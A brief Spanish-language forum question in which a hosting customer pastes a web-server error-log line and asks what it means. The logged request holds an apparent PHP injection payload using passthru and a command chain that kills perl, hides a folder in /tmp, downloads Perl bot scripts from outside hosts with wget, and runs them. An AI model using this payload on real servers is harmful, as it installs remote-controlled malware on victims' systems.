Que significa esto que halle en mi log de mi hosting
[Thu Dec 30 05:41:03 2004] [error] [client 81.169.171.98] File does not exist: /usr/local/psa/home/vhosts/misitio.com/httpdocs/blog&rush=echo _START_; killall -9 perl;cd /tmp;mkdir .temp22;cd .temp22;wget
http://www.abcft.org/themes/bot.htm;wget http://http://weblicious.com/.notes/ssh2.htm;perl ssh2.htm;rm ssh.htm;perl bot.htm;rm bot.htm; echo _END_&highlight=%27.passthru($HTTP_GET_VARS[rush]).%27';